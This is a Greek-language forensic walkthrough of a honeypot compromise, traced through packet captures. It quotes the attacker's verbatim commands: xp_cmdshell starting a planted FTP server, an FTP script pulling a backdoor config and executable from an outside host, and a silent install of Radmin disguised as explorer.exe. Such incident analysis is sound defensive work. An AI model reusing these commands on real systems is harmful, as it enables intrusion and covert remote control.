Αναλυτικά, για να βρούμε το svc.exe αρχείο αρκεί να αναζητήσουμε το SESSION που έχει καταγράψει το **snort** για την πόρτα πορισμού *PORT 192,168,0,2,4,62 = 4*256 + 62 = 1086* Πράγματι στον κατάλογο *217.81.125.206* υπάρχει **SESSION** με πόρτα προορισμού την **1086** και τα περιεχόμενα του **SESSION** καταλαβαίνουμε ότι είναι binary αρχείο. Όπως επίσης και το **nc.exe** που μεταφέρθηκε από την πόρτα **1088**. Το **svuser.dll** που μεταφέρθηκε από την πόρτα **1087**, αν και θα περιμέναμε να είναι και αυτό σε μια μορφή binary, τελικά είναι σε text μορφή και τα περιεχόμενα του μας θυμίζουν το ini αρχείο με τις ρυθμίσεις του **ftp** server **ServUDaemon** (*Πίνακας 4-16*)

User1=dARWIN|1|0

ReplyHelp=Help? Muhahaha...

ReplyNoAnon=Anonymous? Hahaha!!!

ReplySYST=Windows_NT version 5.0

ReplyTooMany=Ya know what a 421 is?

ReplyNoCredit=get off

ReplyDown=going down

ReplyOffline=offline

ReplyHello==...::Welcome to another Silners Pubstro!:::...

LogSystemMes=0

LogSecurityMes=0

. . . .

User2=leecher|1|0

silencer.txt

User3=s0mstuFF|1|0

User4=crewupper|1|0

User5=Brotherz|1|0

[USER=dARWIN|1]

Password=rh1D126B26E90732038B96E20F419E102A

HomeDir=c:\

AlwaysAllowLogin=1

TimeOut=600

Πίνακας 4-16

Στον SESSION του ServUDaemon.ini (Πίνακας 4-16), αυτό που αξίζει να παρατηρήσουμε είναι το Domain και η TCP πόρτα 8976 που ανοίγει για τον έλεγχο του ftp server.

Domain1=0.0.0.0||8976|--==Silncrs FXP Server ==--|1|0

Όπως επίσης και οι χρήστες που μπορούν να έχουν πρόσβαση στον συγκεκριμένο ftp server

User1=dARWIN|1|0 User2=leecher|1|0 User3=s0mstuFF|1|0 User4=crewupper|1|0 User5=Brotherz|1|0

Μπορούμε να φανταστούμε, η επόμενη κίνηση του επιτιθέμενου θα ήταν να ενεργοποιήσει και να συνδεθεί, στον **ftp Server** που αντέγραψε, στην πόρτα **8976**.

4.2.4 Οι κινήσεις του blackhat αφού πήρε τον έλεγχο του honeypot

Στην συνέχεια θα δούμε πώς ο επιτιθέμενος καταφέρνει να εξασφαλίσει τον έλεγχο του μηχανήματος «θύμα», και πως θα ολοκληρώσει τον σκοπό του.

Πράγματι, με την χρήση του Ethereal μπορούμε να διαπιστώσουμε ότι μετά από το τελευταίο TCP πακέτο που απευθυνόταν στην πόρτα 1433 του honeypot έχουμε αίτηση για σύνδεση (SYN) από τον επιτιθέμενο στην πόρτα 8976 του honeypot, την πόρτα ελέγχου του ftp server *Εικόνα* 4-6.

le snor	t-1030@1757.lo	g - Ethereal			
File	Edit Capture	Display Tools Help			
No	Time	Source	Destination	Protocol	Info
1108	3 1223.17216	8 192.168.0.2	217.81.125.206	TCP	1433 > 61785 [SYN. ACK] Seg=1558117752 Ack=
1109	1223.52475	6 217.81.125.206	192.168.0.2	TCP	61785 > 1433 [ACK] Seg-1363031367 Ack-15581
1110) 1223.61731:	1 217.81.125.206	192.168.0.2	TDS	TDS7/8 Login Packet
1111	1223.61852	6 192.168.0.2	217.81.125.206	TDS	Response Packet
1112	1224.16251	9 217.81.125.206	192.168.0.2	TCP	61785 > 1433 [ACK] Seg=1363031517 Ack=15581
1113	3 1226.38780	1 217.81.125.206	192.168.0.2	TDS	Query Packet
1114	1226.55078	2 192.168.0.2	217.81.125.206	TCP	1433 > 61785 [ACK] Seg-1558118153 Ack-13630
1111	5 1228.458223	3 192.168.0.2	217.81.125.206	TDS	Response Packet
1116	5 1228.64405	9 217.81.125.206	192.168.0.2	TCP	61785 > 1433 [RST] Seg=1363031611 Ack=84354
1117	1231.74646	5 217.81.125.206	192.168.0.2	TCP	61789 > 8976 [SYN] Seq=1365167654 Ack=0 win
1118	3 1231.74679	1 192.168.0.2	217.81.125.206	TCP	8976 > 61789 [SYN, ACK] Seq-1560275777 Ack-
1119	1231.93181	4 217.81.125.206	192.168.0.2	TCP	61789 > 8976 [ACK] Seg=1365167655 Ack=15602
1120	1231.93375	2 192.168.0.2	217.81.125.206	TCP	8976 > 61789 [PSH, ACK] Seq=1560275778 Ack=
1121	1232.27721	1 217.81.125.206	192.168.0.2	TCP	61789 > 8976 [PSH, ACK] Seq=1365167655 Ack=
1122	2 1232.28542	5 192.168.0.2	217.81.125.206	TCP	8976 > 61789 [PSH, ACK] Seq=1560275834 Ack-
1123	1232,473433	1 217.81.125.206	192.168.0.2	TCP	61789 > 8976 [PSH, ACK] Seq=1365167668 Ack=
11.24	1232.47478	0 192.168.0.2	217.81.125.206	TCP	8976 > 61789 [PSH. ACK] Sed=1560275870 Ack=
<u> </u>					
🕀 Fra	me 1117 (78	bytes on wire, 78	bytes captured)		4
1 Eth	ernet II, Sr	<pre>^c: 00:e0:b0:2b:e3</pre>	:d2, Ost: 00:04:e2:33:84:1	.6	
🖽 Int	ernet Proto	col, Src Addr: 217	.81.125.206 (217.81.125.20	16), DST /	Addr: 192.168.0.2 (192.168.0.2)
⊞⊤ra	insmission co	ontrol Protocol, S	rc Port: 61789 (61789), D:	t Port: 8	8976 (8976), seq: 1365167654, Ack: O, Len: O 🛛
1					0
0000	AA A4 +3 31		36 -2 -2 -2 -2		- 0
00000	00 40 43 6	f 40 00 71 06 8c	20 63 02 08 00 43 80	S+	
0020	4b 02 f1 5	d 23 10 51 5e ce	26 00 00 00 00 b0 02 K.	14.04 .8	NOTION .
0030	84 00 4c 0	7 00 00 02 04 05	ac 01 03 03 03 01 01		
0040	08 0a 00 0	00 00 00 00 00 00	00 01 01 04 02		
Email	<u> </u>		4.000	ما مسالح	ile: anad 1020@1767.lax
Later:	-		/ Res	et Apply P	ne. snon-robolger or log

Εικόνα 4-6

Ακολουθώντας το τελευταίο TCP πακέτο (follow tcp stream του ethereal) που απευθύνεται στην

πόρτα 1433 βλέπουμε, με κόκκινα γράμματα , να εκτελείται η ρουτίνα του sql server

xp_cmdshell εκτελεί την εντολή συστήματος **net start serv-u**. Αυτή ή εντολή ξεκινάει το **service** του **ftp server**. *Εικόνα 4-7*

Εικόνα 4-7

Για να εντοπίσουμε τα αρχεία με τα ASCII SESSIONS που έχουν καταγραφεί από το snort και περιέχουν τις κινήσεις του επιτιθέμενου, χρησιμοποιήθηκε το ethereal με τα εξής φίλτρα

ip.addr == 217.81.125.206 and tcp.port == 8976 and tcp.flags == 0x0012

Αυτό το φίλτρο μας επιστρέφει από το binary όλα τα SYN-ACK πακέτα που αντιστοιχούν στην IP 217.81.125.206 και περιέχουν την πόρτα 8967. (Εικόνα 4-8)

test.log - Ethereal				<u>. Sos</u>
<u>F</u> ile <u>E</u> dit <u>C</u> apture	<u>D</u> isplay <u>T</u> ools <u>H</u> elp	l.		
	@ <u>8</u> \$		8	
No Time	Source	Destination	Protocol	Info
3942 16:50:35,699567	143,233,75,2	217,81,125,206	TCP	8976 > 61789 [SYN, ACK] Seq=1560275777 Ack=130
5023 16:54:10,946470	143,233,75,2	217,81,125,206	TCP	8976 > 61918 [SYN, ACK] Seq=1614910917 Ack=14
5567 16:55:00.540500	143,233,75,2	217,81,125,206	TCP	8976 > 61949 [SYN, ACK] Seq=1627510805 Ack=143
8945 16:59:48.358294	143,233,75,2	217,81,125,206	TCP	8976 > 62059 [SYN, ACK] Seq=1699750912 Ack=150
12403 17:08:13.077904	143,233,75,2	217,81,125,206	TCP	8976 > 62392 [SYN, ACK] Seq=1825973740 Ack=163
12578 17:09:31,209873	143,233,75,2	217,81,125,206	TCP	8976 > 62461 [SYN, ACK] Seq=1845627106 Ack=165
13309 17:11:42,292354	143,233,75,2	217,81,125,206	TCP	8976 > 62593 [SYN, ACK] Seq=1879824766 Ack=169
14057 17:13:32,444304	143,233,75,2	217,81,125,206	TCP	8976 > 62715 [SYN, ACK] Seq=1908996570 Ack=172
14067 17:13:32.855342	143,233,75,2	217.81.125.206	TCP	8976 > 62716 [SYN, ACK] Seq=1909157785 Ack=172
14591 17:20:33.995646	143,233,75,2	217,81,125,206	TCP	8976 > 62963 [SYN, ACK] Seq=2014421704 Ack=182
14631 17:21:56,208710	143,233,75,2	217,81,125,206	TCP	8976 > 63020 [SYN, ACK] Seq=2035019480 Ack=185
 ➡ Frame 5023 (78 bytes ➡ Ethernet II, Src: 00 ➡ Internet Protocol, 5 ➡ Transmission Control 	s on wire, 78 bytes cap 0:04:e2:33:84:16, Dst: Src Addr: 143.233.75.2 1 Protocol, Src Port: 8	otured) 00:e0:b0:2b:e3:d2 (143.233.75.2), Dst Ad 3976 (8976), Dst Port:	dr: 217.81. 61918 (6191	125.206 (217.81.125.206) 8), Seq: 1614910917, Ack: 1420312957, Len: ▼
4				
	0 00 04 0 77 04 40 0		2 5	
0000 00 e0 b0 2b e3 d 0010 00 40 42 88 40 0 0020 7d ce 23 10 f1 d 0030 44 10 1e ba 00 0 0040 08 0a 00 00 00 0	2 00 04 e2 33 84 16 0 0 80 06 86 24 8f e9 4 e 60 41 95 c5 54 a8 4 0 02 04 05 b4 01 03 0 0 00 00 00 00 00 01 01 0	8 00 45 00 ,a°+ao, a b 02 d9 51 ,@B.@ 1 7d b0 12 }î#,ñP`A 3 00 01 01 Dº 4 02	a3E. ,\$.éK.ùQ ,ÅT″A}°. 	
Filter: ip.addr == 217.8	1.125.206 and tcp.port	== 8976 and 1 💌 Reset	Apply Fil	le: test.log



Με την παραπάνω πληροφορία μπορούμε να εντοπίσουμε, στον κατάλογο που δημιουργεί το **snort** για την συγκεκριμένη **IP**, και να εντοπίσουμε τα περιεχόμενα των **SESSIONS** με την χρονολογική σειρά που καταγράφηκαν.

Αρχικά ανοίγει μία σύνδεση στην 8976 πόρτα του **honeypot**, από πόρτα 61789. Το φορτίο των πακέτων που μεταφέρθηκαν μέσω της σύνδεσης αυτής, θα μας δείξει τις ftp εντολές που εκτέλεσε ο επιτιθέμενος και τις απαντήσεις πού έλαβε.

Πίνακας 4-17α

220 =...::Welcome to another Silners Pubstro!::...

USER darwin

331 User name okay, need password.

PASS fxpadmin

Αρχικά συνδέεται στο honeypot, που πλέων λειτουργεί σαν ftp server, και θα αποκτήσει

πρόσβαση με USER name 'darwin' και PASS 'fxpadmin'.

227 Entering Passive Mode (192,168,0,2,4,65)
LIST
150 Opening ASCII mode data connection for /bin/ls.
226 Transfer complete.
SIZE apis.txt
213 163
PASV
227 Entering Passive Mode (192,168,0,2,4,66)
RETR apis.txt
150 Opening ASCII mode data connection for apis.txt (163 bytes).
226 Transfer complete.

Πίνακας 4.-17β

Το πρώτο πράγμα που κάνει όταν συνδεθεί με το **honeypot**, είναι να δει τα περιεχόμενα του δίσκου (LIST) και μετά να ελέγξει το μέγεθος και στην συνέχεια να αποθηκεύσει το αρχείο apis.txt.

Το αρχείο που περιέχει τις **ftp** εντολές το οποίο δημιούργησε ο επιτιθέμενος με την διαδικασία που είδαμε στην παράγραφο 4.3.2.1 που είδαμε παραπάνω. Μάλιστα, αν αναζητήσουμε τα δεδομένα που μεταφέρθηκαν από την πόρτα 4*256 + 66 = 1090 τις IP 192.168.0.2, τα οποία αποτελούν το αρχείο, apis.txt, θα δούμε τα εξής :

open 62.216.8.36.

user hack .

hack .

ascii.

get ServUDaemon.ini c:\WINNT\config\servudaemon.ini .

bin.

get winsecure.exe c:\WINNT\config\winsecure.exe .

Quit.

Οπότε μπορούμε να συμπεράνουμε ότι ο επιτιθέμενος είχε γνώση για το τι μπορεί να είναι το αρχείο apis.txt το οποίο παρουσιάστηκε στην πρώτη περίπτωση παραβίασης του μηχανήματος. Αυτό σημαίνει ότι ο επιτιθέμενος μπορεί να είναι ο ίδιος και στις δύο περιπτώσεις και να επιτίθεται από διαφορετικές IP.

150 Opening ASCII mode data connection for /bin/ls..
226 Transfer complete..
DELE servudaemon.ini.
250 DELE command successful..
DELE ServUStartUpLog.txt.
250 DELE command successful..
DELE winsecure.exe.
250 DELE command successful..

Πίνακας 4-17γ

4.2.4.1 Εξασφάλιση ελέγχου του honeypot από τον επιτιθέμενο

Συνεχίζοντας να παρακολουθούμε τις κινήσεις του επιτιθέμενου, βλέπουμε ότι διαγράφει τα αρχεία αυτά που έχει βάλει ο ίδιος, ή κάποιος άλλος, για να μπορεί να ανοίξει απομακρυσμένη ftp σύνδεση στην πόρτα 1337 (Πίνακας 4-17γ).

Παρακάτω, στον πίνακα 4-17δ, βλέπουμε ότι αποθηκεύει στο **honeypot** τρία αρχεία, AdmDll.dll, explorer.exe, και raddrv.dll, στην διαδρομή c:/Program Files/Common Files/Microsoft Shared/MSInfo.

PASV.
227 Entering Passive Mode (192,168,0,2,4,75).
STOR AdmDll.dll.
150 Opening BINARY mode data connection for AdmDll.dll
226 Transfer complete
SIZE explorer.exe.
550 /c:/Program Files/Common Files/Microsoft Shared/MSInfo/explorer.exe: No such file
PASV.
227 Entering Passive Mode (192,168,0,2,4,76).
STOR explorer.exe.
150 Opening BINARY mode data connection for explorer.exe
226 Transfer complete
SIZE raddrv.dll.
550 /c:/Program Files/Common Files/Microsoft Shared/MSInfo/raddrv.dll: No such file.
PASV.
227 Entering Passive Mode (192,168,0,2,4,77).
STOR raddrv.dll.
150 Opening BINARY mode data connection for raddrv.dll
226 Transfer complete



Αυτά τα τρία αρχεία ανήκουν σε μια εφαρμογή για έλεγχο απομακρυσμένων windows μηχανημάτων που ονομάζεται radmin (<u>http://www.famatech.com/</u>).

Η εφαρμογή αυτή δεν είναι κάποιο hacking tool, αλλά ένα εμπορικό πρόγραμμα το οποίο χρησιμοποιείται από διαχειριστές δικτύων για να μπορούν να ελέγχουν μηχανές με windows λειτουργικό. Η διαδικασία έχει ως εξής, ο Administrator εγκαθιστά στο τερματικό του την client εφαρμογή, που μέσα από αυτήν θα ελέγχει τους απομακρυσμένους υπολογιστές. Οι υπολογιστές που θα διαχειρίζεται απομακρυσμένα ο administrator, πρέπει να έχουν σε λειτουργία τη διεργασία r_server.exe, η οποία ανοίγει την πόρτα 4899.

Εικόνα 4-9 – radmin client



Με αυτό τον τρόπο ο administrator, μπορεί να συνδεθεί στον απομακρυσμένο υπολογιστή με την client εφαρμογή (εικόνα 4-9), και να επιλέξει πρόσβαση στο desktop του απομακρυσμένου υπολογιστή, έχοντας πλήρες έλεγχο ή μόνο να το παρακολουθεί με τα δύο πρώτα κουμπιά αντίστοιχα, που βρίσκονται αριστερά μέσα στον κόκκινο κύκλο στην εικόνα 4-9. Τα επόμενα τρία κουμπιά, επιτρέπουν στον administrator να πάρει shell, να ανοίξει ένα παράθυρο για μεταφορά αρχείων και τέλος να χειριστεί την κατάσταση τερματισμού και επανεκκίνησης του απομακρυσμένου μηχανήματος.

Γυρίζοντας στην περίπτωση μας βλέπουμε ότι ο επιτιθέμενος κατεβάζει δύο dll αρχεία, τα οποία χρησιμοποιούνται από το r_server.exe για να μπορέσει να λειτουργήσει το service του radmin. Το explorer.exe που αποθηκεύει στο **honeypot**, μπορούμε εύκολα να φανταστούμε ότι είναι το r_server.exe μετονομασμένο. Παρακάτω θα δούμε ότι χρησιμοποιείται όπως θα χρησιμοποιούσε κανείς το r_server.exe για να κάνει ένα μηχάνημα server που θα ανταποκρίνεται σε πακέτα που προορίζονται για την πόρτα 4899.

TYPE A.
200 Type set to A
PASV.
227 Entering Passive Mode (143,233,75,2,4,78).
LIST.
150 Opening ASCII mode data connection for /bin/ls
226 Transfer complete
site exec explorer.exe /silence /install.
200 EXEC command successful (TID=33)
site exec explorer.exe /start /pass:fxpadmin.
200 EXEC command successful (TID=33)
QUIT.
221 Goodbye!.

TYPE A.
200 Type set to A...
PASV.
227 Entering Passive Mode (143,233,75,2,4,78).
LIST.
150 Opening ASCII mode data connection for /bin/ls..
226 Transfer complete..
site exec explorer.exe /silence /install.
200 EXEC command successful (TID=33)..
site exec explorer.exe /start /pass:fxpadmin.
200 EXEC command successful (TID=33)..
QUIT.
221 Goodbye!.

Πίνακας 4-17ε

Στον πίνακα 4-17ε βλέπουμε ότι ο επιτιθέμενο τρέχει μέσα από ftp την εντολή :

site exec explorer.exe /silence /install.

Όπου εγκαθιστά το service (r_server.exe) και στην συνέχεια εκτελεί την εντολή :

site exec explorer.exe /start /pass:fxpadmin.

η οποία ξεκινάει το service και του δίνει κωδικό 'fxadmin', τον οποίο θα πρέπει να καταχωρεί κάθε φορά που θα θέλει να συνδεθεί στην πόρτα 4899.

Μόλις ενεργοποιηθεί το service του radmin server στο **honeypot**, όπως θα δούμε παρακάτω, ο επιτιθέμενος, επιχειρεί να συνδεθεί μέσω του radmin.

• ((testlag Eth	ereal				_ i = i ×
Eile Edit	t <u>C</u> apture D	isplay <u>T</u> ools				Help
No Tim	ne	Source	Destination	Protocol	Info	
4616 19	53:12.756920	192.168.0.2	217.81.125.206	TCP	8976 > 61789	[PSH, ACK] Seg=1560279260 Ack=1
4617 19	53:13.080825	217.81.125.206	192.168.0.2	TCP	61789 > 8976	[ACK] Seg=1365168330 Ack=156027
4618 19	53:15.213088	192.168.0.2	192.168.0.2	Syslog	DAEMON.NOTI	ICE: Security: NT AUTHORITY\SYSTE.
4619 19	53:15.215084	192.168.0.2	192.168.0.2	Syslog	DAEMON.NOTI	ICE: Security: NT AUTHORITY\SYSTE.
4620 19	53:15.216949	192.168.0.2	192.168.0.2	Syslog	DAEMON.NOTI	ICE: Security: NT AUTHORITY\SYSTE.
4621 19	53:15.600342	217.81.125.206	192.168.0.2	TCP	61789 > 8976	[PSH, ACK] Seq=1365168330 Ack=1
4622 19	53:15.601045	192.168.0.2	217.81.125.206	TCP	8976 > 61789	[PSH, ACK] Seq=1560279299 Ack=1
4623 19	53:15.854100	217.81.125.206	192.168.0.2	TCP	61789 > 8976	[FIN, ACK] Seg=1365168336 Ack=15
4624 19	:53:15.854411	192.168.0.2	217.81.125.206	TCP	8976 > 61789	ACKI Seg=1560279313 Ack=136516
4625 19	53:15.854822	192.168.0.2	217.81.125.206	TCP	8976 > 61789	[FIN, ACK] Seg=1560279313 Ack=13
4626 19	53:16.040590	217.81.125.206	192.168.0.2	TCP	61789 > 8976	[ACK] Seg=1365168337 Ack=156027
4627 19	53:29.653423	217.81.125.206	192.168.0.2	TCP	61888 > 4899	[SYN] Seg=1409852718 Ack=0 Win=1
4628 19	53:29.653746	192.168.0.2	217.81.125.206	TCP	4899 > 61888	[SYN, ACK] Seq=1604398268 Ack=1-
4629 19	:53:29.931244	217.81.125.206	192.168.0.2	TCP	61888 > 4899	[ACK] Seq=1409852719 Ack=160439
4630 19	:53:29.940232	217.81.125.206	192.168.0.2	TCP	61888 > 4899	[PSH, ACK] Seq=1409852719 Ack=1
•						
Frame 4	627 (78 bytes	on wire, 78 bytes capt	ured)			
Ethernet	II. Src: 00:e0:b	0:2b:e3:d2, Dst: 00:04:	e2:33:84:16			
b Internet F	Protocol, Src Ar	idr 217 81 125 206 (21	17 81 125 206) Dst Addr 1 92	168 0 2 /	192 168 0 2 1	
Topport	anian Combol De	dend for Ded 64000	104000) Dut Dut 4000 (4000)		50710 4 4 0 1	
P I ransmis	ssion Control Pr	olocol, SIC Polt 61666	(61666), Da Port 4699 (4699), Sed: 14080	32716, ACK 0, L6	in: U
0000 00 0	4 62 33 84 16	00 e0 b0 2b e3 d2 08	00.45.80 B3 E ** F			19
0010 004	0 4e 5a 40 00	71 06 88 d2 d9 51 70	d ce 8f e9 @NZ@ g QQIE i			1
0020 46 0	2 f1 c0 13 23 5	4 08 a5 2e 00 00 00	00 b0 02 K.pi.#T*.			
0030 84 0	0 81 df 00 00 (02 04 05 ac 01 03 03	03 01 01			1
0040 08 0	a 00 00 00 00	00 00 00 00 01 01 0	4.02			1
Filter			- 5	Εκκαθάριση	Eegopovit	File: testlog
Constrained in the			Land a land		A Thereby out	1696

Εικόνα 4-10

👻 🤇 🥝 test.log - Eth	nereal			
<u>Fi</u> le <u>E</u> dit <u>C</u> apture <u>C</u>	<u>)</u> isplay <u>T</u> ools			<u>H</u> elp
No Time	Source	Destination	Protocol	Info
4616 19:53:12.756920	143.233.75.2	217.81.125.206	TCP	8976 > 61789 [PSH, ACK] Seg=1560279260 Ack=1
4617 19:53:13.080825	217.81.125.206	143.233.75.2	TCP	61789 > 8976 [ACK] Seq=1365168330 Ack=156027
4618 19:53:15.213088	143.233.75.2	143.233.75.100	Syslog	DAEMON.NOTICE: Security: NT AUTHORITY\SYSTE.
4619 19:53:15.215084	143.233.75.2	143.233.75.100	Syslog	DAEMON.NOTICE: Security: NT AUTHORITY\SYSTE.
4620 19:53:15.216949	143.233.75.2	143.233.75.100	Syslog	DAEMON.NOTICE: Security: NT AUTHORITY\SYSTE.
4621 19:53:15.600342	217.81.125.206	143.233.75.2	TCP	61789 > 8976 [PSH, ACK] Seq=1365168330 Ack=1:
4622 19:53:15.601045	143.233.75.2	217.81.125.206	TCP	8976 > 61789 [PSH, ACK] Seq=1560279299 Ack=1
4623 19:53:15.854100	217.81.125.206	143.233.75.2	TCP	61789 > 8976 [FIN, ACK] Seq=1365168336 Ack=15
4624 19:53:15.854411	143.233.75.2	217.81.125.206	TCP	8976 > 61789 [ACK] Seg=1560279313 Ack=136516
4625 19:53:15.854822	143.233.75.2	217.81.125.206	TCP (8976 > 61789 [FIN, ACK] Seq=1560279313 Ack=13
4626 19:53:16.040590	217.81.125.206	143.233.75.2	TCP	61789 > 8976 [ACK] Seq=1365168337 Ack=156027
4627 19:53:29.653423	217.81.125.206	143.233.75.2	TCP	61888 > 4899 [SYN] Seq=1409852718 Ack=0 Win=3
4628 19:53:29.653746	143.233.75.2	217.81.125.206	TCP	4899 > 61888 [SYN, ACK] Seq=1604398268 Ack=14
4629 19:53:29.931244	217.81.125.206	143.233.75.2	TCP	61888 > 4899 [ACK] Seq=1409852719 Ack=160439
4630 19:53:29.940232	217.81.125.206	143.233.75.2	TCP	61888 > 4899 [PSH, ACK] Seq=1409852719 Ack=1
4				•
Erame 4627 (78 bytes)	on wire 78 bytes captured			
Filteret Cropics		2.0440		
Ethemet II, Src: 00:e0:c	00:20:e3:d2, Dst 00:04:e2:3	53:64:16		
Internet Protocol, Src A	ddr: 217.81.125.206 (217.8	1.125.206), Dst Addr: 143.233	.75.2 (143.23	33.75.2)
Transmission Control Pr	rotocol, Src Port: 61888 (61	888), Dst Port: 4899 (4899),	Seq: 14098	52718, Ack: 0, Len: 0
		* * *		
0000 00 04 e2 33 84 16	00 e0 b0 2b e3 d2 08 00	45 80β3ü °+γΕ.		
0010 00 40 4e 5a 40 00	71 06 88 d2 d9 51 7d ce	8fe9 .@NZ@.qΩQ}Ξ.ι		
0020 4b 02 f1 c0 13 23 5	i4 08 a5 2e 00 00 00 00 l	ο0 02 K.pï.#T°.		
0030 84 00 81 df 00 00	02 04 05 ac 01 03 03 03	01 01		
0040 08 0a 00 00 00 00		<u>د</u>		
Filter:		₹ ‰	<u>Ε</u> κκαθάριση	Εφαρμογή File: test.log
(<u>(())</u>)				

Στην παραπάνω εικόνα 4-10, μπορούμε να παρατηρήσουμε, ότι αφού τερματιστεί η σύνδεση με την πόρτα 8976 του **honeypot**, ο επιτιθέμενος ξεκινάει σύνδεση στην πόρτα 4899 του **honeypot**, περίπου 13 δευτερόλεπτα μετά.

Δυστυχώς τα πακέτα που μεταφέρονται από και προς την πόρτα 4899 δεν είναι αναγνώσιμοι χαρακτήρες και δεν μπορούμε να εξακριβώσουμε ακριβώς τι κάνει, αφού συνδεθεί.

Πιθανώς να χρησιμοποιεί την επιλογή για διαχείριση του desktop, οπότε να μπορεί να πάρει μια εικόνα για το σύστημα. Σίγουρα όμως χρησιμοποιεί το εργαλείο του radmin που προσφέρει στον επιτιθέμενο **command line** επιλογή.

•	C	test.log - E	thereal				
Eile	<u>E</u> dit	<u>C</u> apture	<u>D</u> isplay	<u>T</u> ools			Help
No	Time		Source		Destination	Protoco	Info
5014	19:54	:09.99297	3 143.233	.75.2	217.81.125.206	TCP	4899 > 61917 [PSH, ACK] Seg=1613939426 Ack=1419320447 Win=
5015	5 19:54	:10.190108	217.81.	125.206	143.233.75.2	TCP	61917 > 4899 [PSH, ACK] Seg=1419320447 Ack=1613939452 Win=
5016	5 19:54	:10.200623	143.233	.75.2	217.81.125.206	TCP	4899 > 61917 [PSH, ACK] Seq=1613939452 Ack=1419320473 Win=
5017	19:54	:10.235171	143.233	.75.2	143.233.75.100	Syslog	DAEMON.NOTICE: Security: NT AUTHORITY\SYSTE
5018	3 19:54	:10.402109	217.81.	125.206	143.233.75.2	TCP	61917 > 4899 [PSH, ACK] Seq=1419320473 Ack=1613939478 Win=
5019	19:54	:10.412293	143.233	.75.2	217.81.125.206	TCP	4899 > 61917 [PSH, ACK] Seq=1613939478 Ack=1419320499 Win=
5020	19:54	:10.767267	217.81.	125.206	143.233.75.2	TCP	61917 > 4899 [PSH, ACK] Seq=1419320499 Ack=1613939504 Win=
5021	1 19:54	:10.777430	143.233	.75.2	217.81.125.206	TCP	4899 > 61917 [PSH, ACK] Seq=1613939504 Ack=1419320525 Win=
5022	19:54	:10.946178	217.81.	125.206	143.233.75.2	TCP	61918 > 8976 [SYN] Seg=1420312956 Ack=0 Win=33792 Len=0
5023	3 19:54	:10.946470	143.233	.75.2	217.81.125.206	TCP	8976 > 61918 [SYN, ACK] Seq=1614910917 Ack=1420312957 Win=
5024	19:54	:10.959662	2 217.81.	125.206	143.233.75.2	TCP	61917 > 4899 [PSH, ACK] Seq=1419320525 Ack=1613939530 Win=
5025	5 19:54	:10.970010	143.233	.75.2	217.81.125.206	TCP	4899 > 61917 [PSH, ACK] Seq=1613939530 Ack=1419320551 Win=
5026	5 19:54	:11.123236	217.81.	125.206	143.233.75.2	TCP	61918 > 8976 [ACK] Seg=1420312957 Ack=1614910918 Win=45184
5027	19:54	:11.124769	143.233	.75.2	217.81.125.206	TCP	8976 > 61918 IPSH. ACKI Sea=1614910918 Ack=1420312957 Win=
•							•
N	Aessag	e: Security:	NT AUTH	HORITY\S	SYSTEM: A new process has been cre	ated: Nev	Process ID: 2176047552 Image File Name: \WINNT\system32\CMD.EXE
0000	00.01	-0.00 4	0 00 01	-0.00.04		***	
0010 0020 0030 0050 0060 0070 0080 0080 0080 0080 0080 0060 006	00 fb 4 4b 64 63 75 52 49 65 77 65 65 20 50 36 30 6c 65 73 79 20 43 20 49 55 73 20 44 55 50 2 30 2c	12 85 00 04 02 02 0 72 69 74 75 55 52 0 70 72 66 20 63 7 72 67 63 73 34 37 35 32 20 4e 61 6 73 74 65 6 72 65 61 72 65 61 72 65 61 72 65 61 72 65 61 72 65 61 72 65 61 72 65 61 72 65 61 72 65 61 72 65 61 72 65 61 72 65 61 72 65 72 20 46 61 64 65 72 20 42 61 64 64 63 62 20 42 61 63 63 73 73 73 33	3 60 41 2 00 e7 9 3 a 20 3 59 53 if 63 65 2 65 61 5 73 73 2 5 32 20 4 d 65 3a d 33 32 4 6f 72 2 2 31 37 3 6 61 6d 0 6e 3a 2 6 6f 6e 20 6 6f 6e 20 5 37 29 2	cc 30 34 13 34 8f e cb 3d 3c : 4e 54 20 54 45 4d 73 73 73 20 74 65 64 20 49 44 3 99 6d 61 1 20 5c 43 4d 0 50 72 6 7 32 37 3 65 3a 20 20 57 4f 5 3 49 44 3c 20	10 50 50 10	>	Ανοιγει νέα διεργασία cmd.exe
Filter	:					₹ % E	εκαθάριση 🛛 🖋 <u>Ε</u> φαρμογή 🛛 ^{File} : test.log

Εκμεταλλευόμενοι τα system logs του **honeypot** εξακολουθούμε να έχουμε μια εικόνα των κινήσεων του **blackhat**.

Όπως μπορούμε να δούμε στην Εικόνα 4-11, ένα πακέτο που περιέχει μία εγγραφή του **honeypot** και στέλνεται στον **sysloger**. Αυτή η εγγραφή, περιγράφει ότι ξεκίνησε μια νέα διεργασία με όνομα αρχείου cmd.exe, δηλαδή το **command line** εργαλείο των windows.

Έπειτα, χρησιμοποιεί την **ftp** πρόσβαση που έχει αποκτήσει στην πόρτα 8976, για να μεταφέρει κάποια αρχεία. Η σύνδεση ξεκινάει στην υπογραμμισμένη γραμμή της εικόνας 4-11, και είναι η επόμενη γραμμή (το SYN-ACK) είναι το δεύτερο της εικόνας 4-8.

Πίνακας 4-18

SIZE kill.exe.
550 /c:/Program Files/Common Files/Microsoft Shared/MSInfo/kill.exe: No such file
PASV.
227 Entering Passive Mode (143,233,75,2,4,80).
STOR kill.exe.
150 Opening BINARY mode data connection for kill.exe
226 Transfer complete
SIZE tlist.exe.
550 /c:/Program Files/Common Files/Microsoft Shared/MSInfo/tlist.exe: No such file
PASV.
227 Entering Passive Mode (143,233,75,2,4,81).
STOR tlist.exe.
150 Opening BINARY mode data connection for tlist.exe
226 Transfer complete

Κατά την διάρκεια αυτής της σύνδεσης ο επιτιθέμενος μεταφέρει δύο αρχεία, όπως φαίνεται στον πίνακα 4-18, το kill.exe και το tlist.exe.

To **kill.exe** είναι ένα **command line** πρόγραμμα για microsoft λειτουργικά, με το οποίο μπορούμε να σταματάμε διεργασίες που είναι ενεργές.

To **tlist.exe**, είναι και αυτό μια **command line** εφαρμογή για microsoft λειτουργικά με την οποία μπορούμε να δούμε όλες τις διεργασίες που τρέχουν σε ένα τέτοιο σύστημα.

